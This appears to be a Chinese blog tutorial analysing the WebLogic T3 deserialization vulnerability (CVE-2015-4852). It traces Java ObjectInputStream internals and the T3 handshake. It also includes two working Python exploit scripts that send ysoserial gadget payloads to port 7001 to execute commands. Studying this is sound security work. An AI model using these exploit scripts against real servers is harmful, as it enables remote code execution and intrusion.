赞
踩
weblogic 的反序列化漏洞分为两种 ,一种是基于T3 协议的反序列化漏洞,一个是基于XML的反序列化漏洞,这篇来分析一下基于T3 协议的反序列化漏洞,本文参考了很多师傅的文章,我会贴在最后面。
[JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
mirrors / angelwhu / ysoserial · GitCode
RMI 通信时会将数据进行序列化后传输,同样的接收数据后反序列化进行接收,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议,T3是weblogic独有的一个协议,相比于JRMP多了如下协议:
主要包含请求头和请求主体这两部分,总共分为七个部分,第一部分是协议头,也就是请求包头,后面2-7都是请求主题(这图叠buff了):
借用师傅的一张图
weblogic 通过7001端口,获取到流量钟的T3协议的反序列化数据,他会从图钟的readObject开始,经过一系列的操作,终于在上图的流程终点的 resolveProxyclass 或者是 resolveClass 处将流量钟的代理类 / 类类型的字节转变为了对应的class对象。
在ObjcetInputStream 钟的readClassDesc 方法,存在两个路径,也就是分叉点,导致了序列化的流量流向了两个不同的分支,其中一些流量流向了readProxyDesc 并最终采用resolveProxyClass获取类对象,而另一些则流向了readNonProxyDesc并最终使用resolveClass获取类对象。
看名字就知道,desc是描述,readClassDesc的功能很简单,读入字节流,通过读取字节流钟的描述符来确定字节流钟传递的数据类型,并交给对应的方法处理。
看下readClassDesc的实现:
- private ObjectStreamClass readClassDesc(boolean unshared)
- throws IOException
- {
- byte tc = bin.peekByte();
- switch (tc) {
- case TC_NULL:
- return (ObjectStreamClass) readNull();
-
- case TC_REFERENCE:
- return (ObjectStreamClass) readHandle(unshared);
-
- case TC_PROXYCLASSDESC:
- return readProxyDesc(unshared);
-
- case TC_CLASSDESC:
- return readNonProxyDesc(unshared);
-
- default:
- throw new StreamCorruptedException(
- String.format("invalid type code: %02X", tc));
- }
- }
从 readClassDesc 方法 的实现可见,readClassDesc 钟switch 语句中有5个分支 :
- TC_NULL描述符表示空对象引用
-
- TC_REFERENCE描述符表示引用已写入流的对象
-
- TC_PROXYCLASSDESC是新的代理类描述符
-
- TC_CLASSDESC是新的类描述符
TC_PROXYCLASSDESC 与 TC_CLASSDESC描述符 标识了流量中代理类与类这两种类型的数据,因此我们重点关注TC_PROXYCLASSDESC 与 TC_CLASSDESC 这两个分支,也是上文流程图里只有这两处分支的原因,
当readClassDesc从字节流中读取到TC_CLASSDESC描述符,说明此处程序此时要处理的字节流为普通类,程序接下来会调用readNonProxyDesc方法对这段字节流进行解析。
在readNonProxyDesc方法中,程序会从该段序列化流中获取类的序列化描述符ObjectStreamClass(类序列化描述符ObjectStreamClass,其本质是对Class类的包装,可以想象成一个字典,里面记录了类序列化时的一些信息,包括字段的描述信息和serialVersionUID 和需要序列化的字段fields,以便在反序列化时拿出来使用)。随后该类的序列化描述符被传递给resolveClass方法,resolveClass方法从该类的序列化描述符中获取对应的Class对象。
当readClassDesc 从字节流中读取到 TC_PROXYCLASSDESC 描述符时,说明此处程序此时要处理的字节流为动态代理类,程序接下来会调用readProxydesc方法进行处理 过程与上面的流程一致。
当我们以此处传入的字节流为普通类为例,接下来看看resovleCLass是如何将类的序列化描述符加工成该类的class对象。
weblogic/rjvm/InboundMsgAbbrev.class中的resolveClass方法
- protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
- Class var2 = super.resolveClass(var1);
- if (var2 == null) {
- throw new ClassNotFoundException("super.resolveClass returns null.");
- } else {
- ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
- if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
- throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
- } else {
- return var2;
- }
- }
- }
程序通过 Class var2 = super.resolveClass(var1); 从 ObjectStreamClass var1中获取到对应的类对象,并赋值给var2,最终通过执行return var2,将var1序列化描述符所对应的Class对象返回
我们调试一下 这个resolveClass 方法:
可以看到 resolveClass 方法成功从序列化描述符中获取到 sun.reflect.annotation.AnnotationInvocationHandler”类对象,并将其返回
程序通过resolveClass获取Class对象,在resolveClass方法将获取到的Class对象返回后,上一级的readNonProxyDesc在接收到resolveClass方法返回值后,连同之前从流量中获取类的序列化描述符ObjectStreamClass一并,初始化并构建一个新的ObjectStreamClass,这个流程如下:
调用栈:
关键代码如下
- private ObjectStreamClass readNonProxyDesc(boolean unshared)
- throws IOException
- {
- ...
-
- ObjectStreamClass desc = new ObjectStreamClass();
- ...
-
- ObjectStreamClass readDesc = null;
- ...
- readDesc = readClassDescriptor();
- ...
-
- Class cl = null;
- ...
- if ((cl = resolveClass(readDesc)) == null) {
- resolveEx = new ClassNotFoundException("null class");
- }
- ...
- desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
-
- ...
- return desc;
- }
结合流程图与代码来看,readNonProxyDesc 方法中主要 做了如下事情:
readNonProxyDesc方法中返回的ObjectStreamClass类型的desc变量,将会传递给readClassDesc,进而被readClassDesc传递给readOrdinaryObject
因此 当 readNonProxyDesc中 ObjectStreamCLass 类型的desc 变量返回后,途径 readClassDesc方法的最红传给readOrdinaryObject中的desc变量。
接下来我们来看看readOrdinaryObject 中又做了什么处理
- ObjectStreamClass desc = readClassDesc(false);
- ...
- obj = desc.isInstantiable() ? desc.newInstance() : null;
- ...
- if (desc.isExternalizable()) {
- readExternalData((Externalizable) obj, desc);
- } else {
- readSerialData(obj, desc);
- }
-
- handles.finish(passHandle);
-
- if (obj != null &&
- handles.lookupException(passHandle) == null &&
- desc.hasReadResolveMethod())
- {
- Object rep = desc.invokeReadResolve(obj);
第一行
ObjectStreamClass desc = readClassDesc(false);
代码中由 readClassDesc(false) 得到的desc ,即是readNonProxyDesc 中获取并返回ObjectStreamClass类型的desc
代码中 接下来 的条件分支,即是在获取了 ObjectStreamClass 类型的desc 后,readOrdinaryObject接着尝试调用类对象的 readObject 、readResolve、readExternal方法
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
T3协议在传输请求体之前都会先发送一个请求包到目标服务器,这个数据包的内容固定为:
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
用python 试着发包:
- import requests
- import socket
-
-
- def T3Test(ip,port):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((ip, port))
- handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
- sock.sendall(handshake.encode())
- while True:
- data = sock.recv(1024)
- print(data.decode())
-
- if __name__ == "__main__":
- ip = "你的公网ip"
- port = 7001
-
- T3Test(ip,port)
返回信息如下,包含了一些版本信息
这里使用wireshark抓个包,网卡选用你的电脑网卡就好了,然后进行一个过滤:
就能看到 用python发的包了。
然后在wireshark数据处右键 - 追踪流 - tcp流
能看到 在HELO后面会返回一个版本号,这就是发这个请求报头的作用
既然 1 是请求头部分, 而请求主体就是我们的 2-7 部分,这里我们发现都是 ac ed 00 05 开头,说明该内容是序列化的内容,而如果需要去构造payload 的化,需要在后面序列化的,进行一个替换。将原本存在的序列化内容替换成我们payload 的序列化内容,在传输完成后,进行反序列化达成攻击的目的,这里借用其他师傅的图
这里提供两种攻击思路:
- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
-
- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
根据网上的exp
- import socket
- import sys
- import struct
- import re
- import subprocess
- import binascii
-
- def get_payload1(gadget, command):
- JAR_FILE = './ysoserial.jar'
- popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
- return popen.stdout.read()
-
- def get_payload2(path):
- with open(path, "rb") as f:
- return f.read()
-
- def exp(host, port, payload):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
-
- handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
- sock.sendall(handshake)
- data = sock.recv(1024)
- pattern = re.compile(r"HELO:(.*).false")
- version = re.findall(pattern, data.decode())
- if len(version) == 0:
- print("Not Weblogic")
- return
-
- print("Weblogic {}".format(version[0]))
- data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
- t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
- flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
- payload = data_len + t3header + flag + payload
- payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
- sock.send(payload)
-
- if __name__ == "__main__":
- host = "192.168.__.__"
- port = 7001
- gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
- command = "touch /tmp/success"
-
- payload = get_payload1(gadget, command)
- exp(host, port, payload)
- from os import popen
- import struct # 负责大小端的转换
- import subprocess
- from sys import stdout
- import socket
- import re
- import binascii
-
- def generatePayload(gadget,cmd):
- YSO_PATH = "ysoserial.jar"
- popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
- return popen.stdout.read()
-
- def T3Exploit(ip,port,payload):
- sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- sock.connect((ip,port))
- handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
- sock.sendall(handshake.encode())
- data = sock.recv(1024)
- compile = re.compile("HELO:(.*).0.false")
- match = compile.findall(data.decode())
- if match:
- print("Weblogic: "+"".join(match))
- else:
- print("Not Weblogic")
- #return
- header = binascii.a2b_hex(b"00000000")
- t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
- desflag = binascii.a2b_hex(b"fe010000")
- payload = header + t3header +desflag+ payload
- payload = struct.pack(">I",len(payload)) + payload[4:]
- sock.send(payload)
-
- if __name__ == "__main__":
- ip = "192.168.__.__"
- port = 7001
- gadget = "CommonsCollections1"
- cmd = "touch /tmp/success"
- payload = generatePayload(gadget,cmd)
- T3Exploit(ip,port,payload)
运行后
来到入口处:
wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class
调用了内部类 InboundMsgAbbrev.ServerChannelInputStream 的 readObject
方法
跟进查看一下 ServerChannelInputStream
。
这个内部类继承了 ObjectInputStream 重写了 resolveClass 方法 但是没有重写 readObject 方法,那么调用 本类的 ServerChannelInputStream#readObject 方法,实际上就是调用 ObjectInputStream#readObject 方法,并且这里的 ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议 传递过来的数据且反序列化,从而造成了 命令执行
这里resolveClass
,这里进入到父类的resolveClass
resolveClass是执行ObjectInputStream.readObject()前必经的一个方法,就是说在反序列化过程中,序列化的数据都会从resolveClass这个方法中经过一次,那如果这里再提到如何防护的话,我们很容易能想到在这里添加过滤,没错,在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的
从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事 - 先知社区 (aliyun.com)
weblogic反序列化之T3协议(CVE-2015-4582)_Ys3ter的博客-CSDN博客_cve-2015-4582
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。